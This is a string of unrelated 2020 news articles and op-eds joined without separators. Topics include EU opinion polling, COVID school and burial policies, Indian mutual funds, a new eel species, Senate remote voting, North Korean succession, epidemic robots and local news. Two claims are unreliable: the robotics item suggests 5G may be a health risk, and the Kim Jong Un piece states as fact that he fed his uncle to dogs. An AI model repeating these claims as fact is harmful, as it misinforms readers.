week. But the EU borrowing row remains unresolved and there is a big scrap about whether the countries worst hit will get grants or loans to reboot their stricken economies. Compromise here will be hard to get. Another feature of such surveys is a revelation of limited knowledge among Irish people about EU projects and doings. No surprises here that only one in five Irish people is aware of efforts to start widespread debate on the future of the EU, and that almost six out of 10 people were not aware of the 'EU Green Deal' aimed at tackling climate change and delivering a carbon-free Europe by 2050. In a similar vein, almost half of those surveyed felt their voice is not heard at EU level. This definitely again speaks to the EU's ongoing problems of remoteness which is found to be a deal worse in many of the other 26 member states. Given the awareness of the jobs that multinational companies deliver in Ireland, there will be few surprises to learn that fewer than one in five people believe Ireland should lose its national veto on taxation policy. But it is notable that, despite periodic controversies about Irish military neutrality, 49pc of Irish people believe there should be more involvement in EU security and military co-operation. Fewer than one in three people, or 31pc, were opposed to more EU security and defence co-operation. It suggests that decades of strong warnings from Irish critics of the EU have not really hit home. Similarly, high popular awareness in Ireland of issues surrounding Brexit is reflected in the finding that almost half of those surveyed do not believe a post-Brexit EU-UK trade deal can be forged by the deadline of December 31 next. Equally, the true economic benefit of Ireland's membership - access to global EU trade deals - is endorsed by 75pc of those asked. The survey finds a majority of 53pc believes Ireland should not take in more refugees. But against that 43pc believe the EU should continue to take in new member states which are invariably applying to get development support. Since the UK 'Leave' vote in June 2016, there has been recurring speculation about this becoming a catalyst to speed up a united Ireland. This time four out of 10 of those surveyed reject the proposition that there will be a united Ireland within the EU inside a decade. Against that, 32pc think a united Ireland will happen within 10 years, while a large chunk of people, 26pc, admitting they "don't know". Clearly, the issue will remain a matter for lively debate into the coming years. An education union boss has suggested teachers aren't frontline workers like nurses and should be kept away from school so they don't congregate with their colleagues. One of Australia's most senior medical officers challenged the New South Wales Teachers' Federation on the ABC's Q&A program, declaring schools needed to reopen because online lessons were unsustainable. Australia's Chief Medical Officer Brendan Murphy has said children were a low coronavirus risk. Prime Minister Scott Morrison and NSW Liberal Premier Gladys Berejiklian want classroom lessons to resume, with her Victorian Labor counterpart Daniel Andrews for now opposed. One of Australia's most senior medical officers challenged the New South Wales Teachers' Federation on the ABC's Q&A program, declaring schools needed to reopen because online lessons were unsustainable. Pictured is Sydney schoolboy Phoenix Crawford doing lessons on a laptop at home NSW Teachers' Federation president Angelo Gavrielatos argued his members needed to be kept at home so they didn't come into contact with other adults during the COVID-19 pandemic. 'Well, first of all, let's acknowledge as we all should our nurses and our doctors for the wonderful work that they're doing,' he told the ABC's Q&A program. 'They are absolutely on the frontline. 'Teaching is a bit different because what we see in any one work site, a school, is in some instances is 200 or more adults congregating together.' Nick Coatsworth, a deputy chief medical officer with the federal Department of Health in Canberra, said primary school-aged children needed to return to school because online lessons weren't sustainable. 'My kids need the interaction of the classroom,' he said. 'They're suffering without it and I worry that if that's happening to my kids there must be a whole swathe of children out there who are in the same sort of position. 'Whilst I completely agree, it's a great opportunity to learn from these great online techniques, they're not a sustainable solution as far as I can see.' NSW Teachers' Federation president Angelo Gavrielatos argued his members needed to be kept at home so they didn't come into contact with their colleagues during the COVID-19 pandemic A viewer from Victoria had asked Mr Gavrielatos why teachers could choose to stay at home when cleaners and supermarket check-out workers still had to turn up in person. CORONAVIRUS CASES IN AUSTRALIA: 27,244 Victoria: 20,269 New South Wales: 4,273 Queensland: 1,161 Western Australia: 692 South Australia: 473 Tasmania: 230 Australian Capital Territory: 113 Northern Territory: 33 TOTAL CASES: 27,244 ESTIMATED ACTIVE CASES: 269 DEATHS: 897 Updated: 5.31 PM, 11 October, 2020 Source: Australian Government Department of Health Advertisement The education union boss argued that unlike supermarkets, schools couldn't implement 1.5-metre social distancing practices for teachers. 'It's a bit different to what we see at the supermarket for example where the social distancing practices that they put in place are quite remarkable, including now, perspex protectors in front of those serving at each check-out,' Mr Gavrielatos said. 'Schools are very different, levels of interaction are very different. 'We're talking about a lot of people on one site at any one time.' Mr Gavrielatos also claimed the federal government's COVID-19 schools policy had 'contradictions with respect to the application of safe social distancing principles'. 'We're being told that kids, for example, are not allowed to play in a public playground yet when it comes to a school playground, literally divided by a fence, somehow it's okay,' he said. Nick Coatsworth, a deputy chief medical officer with the federal Department of Health in Canberra, said primary school-aged children needed to return to school because online lessons weren't sustainable 'We're told students should not be looked after by their grandparents but then again we're told that it's okay to be taught by someone else's grandparents. 'These contradictions weigh heavily on teachers and the circumstances are different from other occupations.' Dr Coatsworth took Mr Gavrielatos to task, explaining why the federal government's Australian Health Protection Principal Committee had a different policy for school and public playgrounds. 'The selective cherry picking of things like the public versus the school playgrounds: we've been very clear at the AHPPC that the reason that it's okay to have playgrounds in schools is because you can clean them, because you can regulate them, because you can make them a safer place,' he said. Dr Coatsworth took Mr Gavrielatos to task, explaining why the federal government's Australian Health Protection Principal Committee had a different policy for school and public playgrounds. Pictured is a closed primary school playground at Albert Park in Melbourne 'If there are schools that have public access playgrounds, we're absolutely clear on that: children shouldn't be allowed there.' Dr Coatsworth also challenged the notion teachers who were grandparents would be made to return to the classroom. 'It's never been about grandparents themselves. It's about the age of the teacher and the potential conditions they may have that render them a vulnerable worker in the workplace,' he said. 'Our advice has been clear: like any workplace, whether you're a nurse or a doctor or a teacher, if you're a vulnerable person in the workplace, you must be found alternative duties that involve you being at home.' Due to tax associations with the fiscal-ending, April is a month of SIP renewal. So, the April numbers will be important and may perhaps, mark a change in retail attitude. In January-March 2020, we saw the most volatile quarter in over a decade. Action across various mutual fund segments is worth noting. Short-term debt funds are under great redemption pressure and the Reserve Bank of India (RBI) may have to create a bailout mechanism. However, the equity segment still appears strongly bullish, which means retail sentiment is good. As of December 2019, the Association of Mutual Funds in India (Amfi) data shows that high net worth individuals (HNIs, meaning those with over Rs 2 lakh invested) and retail investors owned about 90 per cent of diversified equity assets under management (AUM). Taken together, they also owned roughly 62 per cent of index equity AUM and about 18 per cent of liquid and money market (short-term debt) AUM. Corporates dominate the short-term debt segment. From January 1, 2020, to March 31, the Nifty fell by over 29 per cent, followed by a small recovery in the first two weeks of April. Thats in rupee terms. The US dollar strengthened by over 5.5 per cent. Forex-denominated returns would have been worse. The RBIs monthly index of rupee competitiveness - the Real Effective Exchange Rate - calculates the rupees buying power against a currency basket. REER fell from 116.5 in January to 114.3 in March. This means the rupee is still over-valued but the trend is clearly down. But despite the falling market and weaker rupee, inflows into the mutual fund equity segment increased by a substantial Rs 30,394 crore. This is a jump compared to the Rs 11,772 crore of inflows in October 2019-December 2019. We can safely assume the bulk of inflows came from individuals (retail and HNI). Most corporates are cash-strapped. Treasury managers have been pulling cash out of debt funds to cope with the stresses of the lockdown. The short-term debt segment saw strong net inflows of Rs 1.09 trillion in January, followed by Rs 27,939 net redemptions in February, and a massive Rs 1.94 trillion outflow in March. Redemptions in the quarter totalled to Rs 1.12 trillion. That contrasts with net short-term debt inflows of Rs 94,140 crore in Q3, 2019-20. Fears of corporate default and the anticipation of a huge government borrowing programme has meant yields on corporate debt have risen. This is despite the RBI cutting rates and putting other liquidity-enhancing measures in place. The short-term debt market has a huge component of commercial paper and certificates of deposit. These are unsecured loans taken by corporates and non-banking financial companies (NBFCs). Those instruments are largely bought by mutual funds, which provide lifeblood for the short-term debt market. At this instant, debt funds would have to book very substantial capital losses if they sold securities at the current yields. Hence, theyve borrowed to meet redemptions, while offering those instruments as collateral. Now, Sebi sets a limit of 20 per cent of assets for such borrowings, and some schemes are edging close to the 20 per cent limit. If the debt funds are in a cash crunch, the short-term debt market could freeze, which means no liquidity for corporates. In 2008, and 2013, when such situations arose, the RBI created a mechanism where banks could lend against such unsecured assets, and then borrow from the RBI by putting up the same assets as collateral. That ensures liquidity is maintained but it also means the RBI could end up lending against toxic assets in case of defaults. On the equity side, continued inflows have enabled equity funds to balance net sales of equity by foreign portfolio investors to some extent. But FPI equity sales amount to over Rs 48,000 crore in Q4, and thats much more than the net inflow for equity mutuals. Hence, the fall. While examining retail behaviour, theres a technical detail to note, and a behaviour pattern to watch. The technical point is that systematic investment plans (SIPs) are booked for a minimum period of six months, and usually more. Due to tax associations with the fiscal-ending, April is a month of SIP renewal. So, the April numbers will be important and may perhaps, mark a change in retail attitude. The behaviour pattern is that retail and HNIs are always late to respond to changes in trends. When they do start booking losses, its usually close to a market bottom. If that pattern holds, and theres no reason to assume it wont, net outflows from equity mutual funds could be a signal for contrarians to increase equity exposure. A team of researchers from South Africa has discovered that the Indo-Pacific undulated moray eel (Gymnothorax undulatus), first described by the French naturalist Bernard Germain de Lacepede in 1803, is in fact two genetically and morphologically distinct species. The moray eels are members of the family Muraenidae, one of the most diverse, abundant and widely distributed families of eels. Muraenidae comprises two subfamilies, 16 genera and about 200 species, mostly distributed in tropical and temperate seas worldwide. In the new study, Yonela Sithole of Rhodes University and the South African Institute for Aquatic Biodiversity and colleagues revised the taxonomic status of the undulated eel, a representative of the largest genus of the Muraenidae family. Gymnothorax undulatus is one of the most common tropical, reef-associated species in the Indo-Pacific region and occurs at depths to 36 m, the researchers wrote in a paper in the journal Zootaxa. The color pattern of the species on the body typically varies from light to dark brown with diffuse vertical bars, with or without irregular brown rectangular spots, separated by a narrow pale reticulum. The scientists examined around 100 specimens of eels originally identified as Gymnothorax undulatus from the Western Indian Ocean. Moray eel species are mainly differentiated on color pattern, differences in dentition and vertebral counts, they explained. Revision of widely-distributed species often results in description of new species. In this study, morphological and genetic analyses indicated that Gymnothorax undulatus contains more than one species. Named Gymnothorax elaineheemstrae, the new species can be found along the coast of South Africa from KwaZulu-Natal to the Eastern Cape. Gymnothorax elaineheemstrae can be differentiated from other species within the genus in the Western Indian Ocean by its color pattern and vertebral count, the study authors wrote in the paper. It has 134-136 total vertebrae and a mottled and faintly reticulated pattern, whereas Gymnothorax undulatus has irregular rectangular blotches separated by large reticulations. _____ Yonela Sithole et al. 2020. A taxonomic revision of Gymnothorax undulatus (Anguilliformes: Muraenidae) in the Western Indian Ocean, with description of a new species. Zootaxa 4767 (1): 161-181; doi: 10.11646/zootaxa.4767.1.7 First, senators must authenticate their identity before casting a remote vote. There are a number of practices that are already available, such as biometrics or supplementing passwords with a one-time generated code, perhaps the most common form of two-factor authentication. Second, while a senators identity must be authenticated before the vote, a senators vote must be verified after the vote, to prove that their decision was actually theirs. Since votes are public, one option is to pair senators so that they can check in with their colleagues and make sure their vote is correct. By allowing a layover period after all the senators have voted, we can be sure to give them time to check their work and ensure the correct outcome. Another option is to conduct votes over secure video conference so that votes can be verified by each senators face and voice. Finally, everything must be encrypted. Millions of Americans already use end-to-end encryption apps to protect their text messages and calls. The Senate should consider evaluating off-the-shelf solutions to protect the integrity of remote votes. We understand that some have concerns about making such a fundamental change to the way the Senate operates it is an institution built on tradition, and we agree that those traditions should be respected. But this is an extraordinary time. Today, we face a pandemic. Tomorrow, there could be a new national crisis, preventing members from convening safely. We believe the security solutions necessary to carry out remote voting are already available. The legislative branch should have the ability to perform its most critical functions remotely during emergencies. The peoples voice should be heard through Congress, no matter the crisis. Rob Portman, Republican of Ohio, and Dick Durbin, Democrat of Illinois, are senators. Jason Matheny is the director of the Center for Security and Emerging Technology at Georgetown University. The Times is committed to publishing a diversity of letters to the editor. Wed like to hear what you think about this or any of our articles. Here are some tips. And heres our email: letters@nytimes.com. Follow The New York Times Opinion section on Facebook, Twitter (@NYTopinion) and Instagram. It was a brief burial without ceremony Tuesday morning at Fort Sam Houston National Cemetery. A handful of family members drove up the road, parked and rolled down their windows as a casket containing the remains of Robert Brent Flournoy was lowered into the concrete-lined Grave No. 30, Section No. 125. There was no priest to say a prayer. Villarreals widow, Josefa Zatarain-Flournoy, sat in the back seat of a car sobbing as she shot video of the casket slowly entering the grave. He was my best friend, he was my soulmate, she said. Together we did all the things we could. Zatarain-Flournoy and two sons in the car, Navy Lt. j.g. Benedict Immanuel and Dominic Solomon Villarreal, witnessed a new way of laying the dead to rest in the nations 142 veterans cemeteries in the age of coronavirus - the direct burial. Veterans are usually saluted with flag-draped caskets, an honor guard and three rifle volleys from the Fort Sam Houston Memorial Services Detachment, along with the prayers and eulogies that mark most funerals. The honor guard would fold the flag into a triangle and present it to a close family member. A bugler would play taps. Now Playing: In age of coronavirus, veterans are laid to rest without honors. Video: mySA That was before coronavirus. Silence and solitude marked this sendoff. In several burials Tuesday, only the family of Flournoy, who served as an Army private first class and died April 20 at 63, was there to bid farewell. To fight the spread of the highly contagious and often deadly virus, the VA on March 23 suspended burials with military honors at veterans cemeteries. It limited the number of people who could attend graveside services to 10. Now, mourners either stay in their cars or stand nearby, observing cemetery workers like Mark Guzman and Mike Salas carefully lowering the caskets into graves. On ExpressNews.com: Coronavirus threat to end military burial honors at San Antonios Fort Sam So far, about about 250 burials have been done that way at Fort Sam, with many more to come. We want to continue to provide burials for veterans and their family members, said Aubrey David, director of the cemetery, which averages 4,100 burials a year. But you feel for the grieving families. Theyve already lost a loved one and theyre having a hard time on the most difficult day of their life, and having to go through a unique burial situation due to COVID for their family members, thats got to be pretty trying. Services at Fort Sam have long been held at one of five open-sided shelters at the 330-acre cemetery. The sprawling cemetery, established in 1926, is usually a busy place, doing as many as 80 burials a week. Now that number has fallen to around 50. On Tuesday, only the backhoe operator and a handful of other workers were near the new concrete-lined graves, seemingly oblivious to a man sitting in a folding camp chair, his arms across his chest. As with others who come to the cemetery, John Rodriguezs visits here are part of a routine. His wife, Mary Louise, died in the spring of 2019. Rodriguez has come to her grave most mornings since, drinking coffee in a pink mug she favored. On Tuesday he even came back in the afternoon. Her headstone was dotted with flowers. Today was our anniversary, and I just wanted to talk to her again, he explained. Top hits: Get San Antonio Express-News stories sent directly to your inbox Rodriguez, 89, a retired Air Force senior master sergeant, said he missed her funeral. A grandson handled the arrangements and might not have told him because he didnt want me to suffer, Rodriguez said. Still, he suffers. They met when she was 16, married 58 years ago Tuesday when she was 18, and had two children. Then came grandchildren and all the years that spun past. She was the best thing that God ever gave me, he said. I kissed the headstone for my two kids and my grandkids, Rodriguez said. I kiss her six times and one for me when I leave. When I arrive, I kiss the headstone and say, Good morning or Good afternoon, gram. As he was leaving from his earlier visit a little after 9 a.m., several cars had made a right turn from Galveston Street to Goliad Avenue and rolled to a stop in front of the gravesite workers. Moments later the casket bearing Flournoy, a longtime San Antonian who lived in Wilson County, was removed from a small truck. Four workers put the casket atop a device that lowers it. His sons got there on short notice. Villarreal, a Navy veteran, drove from his home in Huntsville, Ala., and Immanuel flew in from San Diego, Calif.. Military service runs in the family, and Flournoy instilled a sense of accountability and the trait to persevere and not make excuses, said Immanuel, 25. Those are all things I really value about him. Villarreal, 30, performed military honors for deceased veterans when he was in the Navy, and knew how important it was to the families. To me, it's heartbreaking to see this, he added. Fortunately, were going to be able to come back and have that ceremony Ill absolutely be flying back home to attend that. From a parked Jeeps window, Zatarain-Flournoy threw holy water toward the casket 15 yards away as it inched lower, until it no longer could be seen. She sobbed loudly as the workers started working on a second casket. No family members were on hand for that burial. He was a wonderful and great historian in his own right, and he had a love for history, Zatarain-Flournoy said of her husband, who had an archaeology degree. As an anthropologst, she continued, it was important for Flournoy to know his own background. He had traced his family back to the 1600s in Europe, and learned one distant forebear fought in the American Revolution. He was very proud to have been a grandson, a son of the American Revolution, and its particularly painful to see that he didnt have an opportunity to be celebrated on this day under the American flag, Zatarain-Flournoy said. But he was very amazing and strong, and would have shrugged his shoulders and said, Thats OK. I know who I am, I know where I come from and thats what matters. Sig Christenson covers the military and its impact in the San Antonio and Bexar County area. To read more from Sig, become a subscriber. sigc@express-news.net | Twitter: @saddamscribe If Kim Jong Un Is Dying, Who Will Inherit the Hermit Kingdom? Commentary Multiple media outlets have claimed that North Korean dictator Kim Jong Un lies comatose from a botched heart procedure, although President Donald Trump on April 27 seemed to suggest that he was fineor soon would be. Still, something seems to be amiss in the North where, according to the South Korean defense minister, there has been an unusual increase in air force flight operations and artillerys readiness drills. And, across the border in China, a column of transports was seen moving heavy tanks in the direction of the border crossing at Dandong. Even assuming Kims current health crisis, if thats what it is, soon passes, its worth asking what will happen in North Korea when his embalmed body joins those of his father and grandfather in the Kim Il Sung Mausoleum in Pyongyang. That day may not be all that long in coming. Carrying an estimated 300 pounds on his 56 frame, Kim Jong Un is morbidly obese. Add to this his diabetes, his fondness for wine and cheese, his cigarette habit (four packs a day), and his family history of coronary artery disease, and it is no exaggeration to say hes a walking heart attack. In the event Kim doesnt recover from his current health crisis, if thats what it is, or suffers a fatal one in the next few years, which seems possible, who would succeed him? And what, if anything, would change in North Koreas repressive domestic or foreign policies? Kims younger sister, Kim Yo Jong, probably has the inside track. The two Kims are said to have developed a close relationship while they were in Switzerland from 1996 to 2000 attending school. She was a junior cadre in the Korean Workers Party until 2011, when her brother became supreme leader. Since then, she has received one promotion after another, a sure sign of his favor. Aside from their personal relationship, which may matter less to the man who fed his uncle to a pack of hungry dogs than one might think, Ms. Kim is also the vice director of the Propaganda and Agitation Department of the Korean Workers Party, and as such was reportedly the mastermind behind the creation of her brothers personality cult. Having done that successfully for her older brother, she would be more than capable of creating her own larger-than-life image. By 2017, she had joined the Politburo of the Korean Workers Party Central Committee, and since then has become a public figure in North Korea, often present at Kims public appearances. Internationally, she represented her country at the Pyeongchang 2018 Olympic Winter Games, and accompanied her brother to the summit meetings with Trump in Singapore and Vietnam. On Dec. 17, 2019, in another sign of her growing influence, Ms. Kim issued her first direct military order, calling on all-female units to remain alert to the working conditions and health of the female soldiers and to extend them special consideration, reported Daily NK. Although Kim Jong Un has entrusted his sister with considerable authority, some analysts dismiss the idea that she could become the top leader in a male-dominated communist country with a strong Confucian tradition, a tradition in which women are decidedly subordinate to men. They point to the fact that in neighboring China, Jiang Qing, also known as Madame Mao, was removed by a military coup shortly after the death of her husband, Mao Zedong. Ms. Kim has a number of advantages over Madame Mao in the power game, however. First of all, she is Kim Jong Uns only politically active sibling. In a sense, Kim Jong Un has cleared the way for her future rise by sidelining his two older brothers, one permanently. One was put out to pasture while the other, Kim Jong Nam, was assassinated in 2017 in the Kuala Lumpur Airport. Aside from Kim Jong Uns 2-year-old son, that leaves Ms. Kim as the sole claimant for the Kim dynasty throne. Moreover, despite her tender years, Ms. Kim seems to be no pushover. As soon as she was appointed as vice director of the Propaganda and Agitation Department in November 2014, she took control of the organization in typical Kim family fashionby carrying out a purge. She immediately sent three of her fellow vice directorsall of whom ranked higher than she didoff for labor re-education at chicken farms and rural plantations. One assumes that these three elderly officials, two of whom were in their 80s, made the mistake of not taking the 27-year-old upstart seriously, and as a result spent their last few years planting millet and feeding chickens. Having successfully created her older brothers personality cult, Ms. Kim is probably more than capable of creating her own. The illusion of toughness is at least as important as the reality, at least with regard to the North Korean army. The biggest constituency in North Korea, and the one that is key to seizing and holding power, is the 1.2-million-man army. Here Ms. Kim brings important family ties of her own to the table. She is married to the second son of Workers Party vice chairman Choe Ryong Hae, who since late 2017 has been a member of the Partys powerful military commission. It was perhaps this connection, along with her brothers support, that allowed her to issue her first direct military order in late 2019. If Ms. Kim one day manages to ascend to the Kim dynasty throne, we shouldnt expect her rule to be much different from that of her tyrannical brother, father, and grandfather. There will likely be no dramatic opening of the country to the outside world. One-sixth of the North Korean population will remain incarcerated in the nations huge network of labor camps, while the rest will continue to languish in the larger prison camp that is North Korea itself, kept in the dark about what goes on outside the countrys borders. Indeed, I would give you better than even odds that Ms. Kim might well add to the concentration camp population in her first years as ruler, just as she did when taking over the Partys Propaganda and Agitation Department years before. After all, her brother carried out a series of purges upon taking office to consolidate his power. These resulted in the execution of dozens of senior military and government officials, including his own uncle and close adviser, Jang Song Thaek, in 2013. Ms. Kim may well decide to strike terror into the hearts of the entire party elite in the same way. As for what Ms. Kims rule would mean for North Korean foreign policy, that remains an open question. She hasnt given any major policy addresses, either on foreign or domestic policy. Some have suggested that she, as a woman, will have to prove her toughness by returning to the practice of her father and grandfather of carrying out lethal attacks on South Korea and the U.S. forces stationed there. Others have suggested that, at a minimum, she may be expected to resume the periodic nuclear tests and destabilizing missile launches that have characterized her brothers rule. This latter is probably closer to the mark. In March, as South Koreans were protesting the Norths launch of two short-range ballistic missiles, Kim Yo Jong issued her very first public statement. She called President Moon Jae-ins office gangster-like and foolish for complaining about the launches, reported Yonghap News Agency. The firings, she said, were an action for self-defense that was not aimed to threaten anybody. This surely sounds more bellicose than conciliatory. It may be a sign that, even if Ms. Kim one day replaces her brother, the reunification of the Korean peninsula will remain a long way off. Steven W. Mosher is the president of the Population Research Institute and the author of Bully of Asia: Why Chinas Dream is the New Threat to World Order. @StevenWMosher Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. (Natural News) As healthcare and emergency personnel work to stop the spread of the coronavirus, they also put themselves at risk of catching the disease themselves. Now, scientists are arguing that robots could be used to do some of the dull, dirty and dangerous jobs that these people currently have to do, helping reduce the risks that they face. The proposal comes as part of an editorial, published on Wednesday and signed by leading academic researchers including Carnegie Mellon Universitys Howie Choset. The editorial states that robots conceivably could perform tasks such as disinfecting surfaces, taking temperatures of people in public spaces or ports of entry, collecting nasal and throat samples for testing, providing social support for quarantined patients and even enabling people to virtually attend conferences. In these situations, the use of robots would reduce human exposure to the virus. In addition to Choset, one of the founding editors of Science Robotics where the editorial was published, the authors of the editorial include National Academy of Science president Marcia McNutt, Texas A&M Universitys Robin Murphy, University of California, San Diegos Henrik Christensen, and Stanford Universitys Steven Collins. Historically, robots have been developed to take on dull, dirty, and dangerous jobs, state the authors. Their first wide-spread deployment was in industrial applications, similarly combating infectious diseases involves an environment that is unsuitable for human workers but is suitable to robots. Robots could help with the current and future outbreaks In coming up with the editorial, the authors drew from experiences with past epidemics, including the 2015 Ebola outbreak in Africa. From these experiences, they were able to identify a broad spectrum of use cases for which robots could be used in place to help mitigate the risks to people. During the 2015 Ebola outbreak, the World Health Organization (WHO) reported that a significant number of medical staff wound up infected with the disease in West Africa. Meanwhile, with the current COVID-19 pandemic, front line healthcare workers are faced with shortages of personal protective equipment such as masks, gowns and gloves. (Related: Medical robot kills Ebola with UV light.) However, despite these experiences during these epidemics, the authors warned that little has been done in terms of exploring applications to lessen the risks to these front line workers. Meanwhile, the money needed for the multidisciplinary research that developing them requires remains scarce and is often spent on endeavors. The experiences with the (2015) Ebola outbreak identified a broad spectrum of use cases, but funding for multidisciplinary research, in partnership with agencies and industry, to meet these use cases remains expensive, rare and directed to other applications, stated the authors. With this in mind, the authors warn that a sustainable approach to developing these robots, then healthcare personnel will have to continue to put themselves at risk in not just this current epidemic, but in any future ones as well. Without a sustainable approach to research, history will repeat itself, and robots will not be ready for the next incident, the authors added. Still some work to be done Before these health care robots can be deployed a lot of work needs to be done and a lot of questions answered. One of these questions is in regards to the security risks involved. The editorial proposes that the robots be controlled through teleoperation, that is, the robots will be controlled by remote from afar. Controlling the robots from long-distance makes sense as it keeps operators safe from infection. However, it also leaves the robots vulnerable to hacking. In addition to this, Chosets idea would involve using 5G networks to control the robot. This could be dangerous as there are still some questions on whether or not 5G poses a health risk. Before any further work can be done in bringing these robots to the front lines of any outbreak, work needs to be done to address these questions first. But then again, as Choset has stated, developing the technology will require broad, multidisciplinary research. Inspiring others to come together to find solutions to very complicated problems Despite the focus on robotics, according to Professor Choset, the authors didnt write the editorial to argue about how robots could be used when an epidemic strikes. Instead, the editorial was meant to help inspire others to come together and form their own solutions to the problem. We hope to inspire others in the community to conceive of solutions to what is a very complicated problem, explained Choset. One field which Choset points to as possibly coming together to help fight epidemics is that of artificial intelligence. He points to how researchers in his home institution of Carnegie Mellon are looking into how AI-controlled drones might play a role in providing humanitarian aid and helping respond to disasters. Additionally, more advanced AI could be used for human-robot interactions with patients. However, the use of AI goes beyond just controlling drones and robots. Other applications for AI during epidemics that the researchers envision include automated monitoring of social media, edge computing, and ad hoc computer networks. Sources include: DailyMail.co.uk Robotics.ScienceMag.org EurekAlert.com WHO.int ABCNews.Go.com Minute Man partner and Chief Strategy Officer, Brigadier General (RET) John E. Michel notes, " We chose Jacksonville to relaunch the much-loved and patriotic-themed Minute Man brand because we believe its proximity to Little Rock Air Force Base aligns perfectly with our motto, "Service Is Our Strength." It also reflects our broader vision of establishing America's first all veteran-operated quick-serve national restaurant brand ." Minute Man's Chief Operating Officer, Colonel (RET) Matthew T. Fritz , shared that, "re-launching a brand with the loyal fanbase of Minute Man in this current climate requires bold innovation and keen determination to exceed customer expectations and ensure the safety and health of those we serve. We believe the daily exemplary leadership modeled by Little Rock Air Force Base and the Jacksonville community, coupled with their continued selfless sacrifice for our Country during this challenging time, beautifully illustrates the values we are committed to upholding as we relaunch Minute Man at our first new location. " Leading the opening in 2020 is Minute Man's Senior Vice President of Operations, and long-time Little Rock restaurant executive, Chris Bailey. "Jacksonville will usher in a new era for the brand started by Wes Hall in 1948, which at one time boasted 57-locations in 7-states. As a long-time resident of Arkansas, I am extremely grateful and excited to use my two-plus decades of experience building and leading restaurant teams in delivering quality food and exceptional service to reintroduce our state to this iconic brand. Together, our team remains clear minded about our mission: Deliver delicious food and a special experience that celebrates the values of Service, Patriotism, and Communityone meal and customer at a time. Minute Man is back and Jacksonville, Arkansas is the first of many new locations yet to come," said Bailey. In addition to offering traditional favorites from its menu, new offerings are being added to attract a fresh audience. Minute Man #14 in El Dorado, the last remaining heritage location, will also offer an updated menu and enhanced experience. All locations are designed with quality, safety, health, and service as foundations. Minute Man is optimizing restaurants for Delivery, Walk-Up, Drive-thru, and Carry-Out services to ensure a seamless guest experience. Plans for future locations are in development. Media Contact: Perry Smith, 888-618-4366 SOURCE Minute Man Arkansas, LLC Related Links http://minutemanburgers.com Earlier this month, workers at Bauhaus Brew Labs wondered what to do with the Wheat Sweats, its spring seasonal beer. The Minneapolis brewery had finished the second batch of the beer, a banana-scented hefeweizen, before Minnesota moved to prevent the spread of the coronavirus outbreak by ending on-premises sales at bars, restaurants and taprooms on March 17. Demand for draft beer dried up, and Bauhaus kegs and cans filled its distributors warehouse, with no need for new inventory. On April 21, in a scene reminiscent of Prohibition, the brewery decided to send more than 900 gallons of perfectly good beer down the drain. For Bauhaus and other craft breweries, kegging or canning beer that cant be sold would be a wasted expense. And the beer is quickly approaching the dates set for peak freshness and quality, which then start to decline. It was a painful decision, and not one that we have ever had to make, said Drew Hurst, the director of operations. But with plenty of beer already on hand, there was literally nothing that we could do with it. Liquor and grocery stores are seeing increased sales of beer in cans and bottles, but shuttered bars and canceled events have created a backlog of draft beer some of which is being sent to wastewater treatment plants for disposal, freeing up tanks and kegs for breweries to restart future production. NEW HAVEN The death of a man who was found stabbed overnight on Congress Avenue is being investigated as a homicide, according to the New Haven Police Department. Officers responded around midnight Monday to a reported stabbing on Congress Avenue near its intersection with Cedar Street and adjacent to a medical building, police said in release. An ambulance transported the victim to the hospital where he was pronounced deceased. Detectives held a crime scene overnight and canvassed the neighborhood, officials said. Officers learned there had been a dispute and physical altercation between two men prior to one man stabbing the other and fleeing on foot, police said. The victim is believed to be a New Haven man but his identity was being withheld pending notification of his next of kin, Capt. Anthony Duff said in the release. Police said the crime scene included sections of Congress Avenue, Cedar Street, and Gilbert Street. The mans death is the third homicide in the city to date in 2020, police said. The second homicide of the year was the death of 24 year old on March 25. Dashown Myers, 18, was the citys first homicide victim of the year; he died on February 23. Nathaniel Henry, 24, was the second homicide victim of 2020; he died on March 25. Anyone with information about the stabbing Tuesday is asked to contact the New Haven Police Department at 203-946-6304 or text NHPD and a message to 274637, officials said. william.lambert@hearstmediact.com New border patrols halting non-essential travel between Quebec and Labrador are throwing the sacrifices of isolation into high relief as the region's leaders try to protect residents from coronavirus spread. The provincial government of Newfoundland and Labrador enacted border stops between Blanc Sablon, Que., and communities along Labrador's south coast starting Monday, mirroring measures already in place along the northern land route. That means no family visits not even for a funeral. Chad Letto, mayor of L'Anse-au-Clair, says while there's a sense of relief for a neighbour to Canada's hardest-struck province, the harsh divide has been difficult for residents unaccustomed to noticing any physical separation between Quebec and Labrador. "We don't really see the border," Letto said Tuesday. "It's families intertwined between the two provinces, there's businesses intertwined, they use stuff down here to purchase, we go up there to purchase different things. "When the border did get closed off by the Quebec [patrols] ... it was hard to handle." In one instance, a close relative living in Quebec was recently unable to grieve with family after a death, despite being just a few kilometres away, Letto said. "All the people in Labrador have been asking for ... a total shutdown," he said. "But everybody's wishing for the day we can slowly go back to normality." Protecting residents Calls to lock down Labrador came steadily from leaders across the region as coronavirus cases increased. After some logistical hurdles, the province was able to train and employ ad hoc enforcement agents pulled from the Department of Fisheries and Land Resources and the Labrador-Grenfell regional health authority. Letto said prior to that decision, Labradorians had been feeling a double standard as Quebec increased its own patrols. Jacob Barker/CBC Lisa Dempster, MHA for CartwrightL'Anse au Clair, echoed those comments on Tuesday. Story continues "Folks were concerned," she said. "They felt like, if us Labradorians are heading to the border, we have to show documentation that we're either going to the ferry, or to the airport or for health reasons. "But increasingly we were getting feedback that, 'Well, you know, it's not quite a two-way street. We're seeing Quebecers come down into Labrador and we're concerned.'" Labrador currently has no active cases of COVID-19, as all six patients have recovered. With the high case load in Quebec, Dempster said the province had been trying to figure out how to tighten border monitoring with the resources at hand. Letto pointed to Labrador's demographics, with a high population of elderly residents, as a major motivator for the decision. Public servants now in place have the power to prevent travellers from entering. "If they see folks are not able to prove that they are crossing for an essential reason," Dempster said, "they will be able to stop them." Read more from CBC Newfoundland and Labrador Many of us (now more than ever) hope to find a glorious tropical island somewhere small, perfectly formed, filled with wildlife, an exotic bolthole to escape from the trials of the world. Sao Tome and Principe, with only 200,000 inhabitants, is a good place to start. Especially as it has more rare birds per square mile than the Galapagos, and more turtles than you can shake a stick at, and is aiming for sustainable and responsible development. It is also a safe place to visit, with virtually no crime thanks to a strong and stable government. Which is not bad for the second smallest country in Africa. Island getaway: Sao Tome (pictured) and Principe is the second smallest country in Africa Sao Tome and Principe (the latter pictured) were discovered by the Portuguese in the 15th century It sits off the west coast, near the equator, directly below London. The water is warm, the sun is hot and there is no jet lag. It used to be under Portuguese rule until 1975, so it seemed 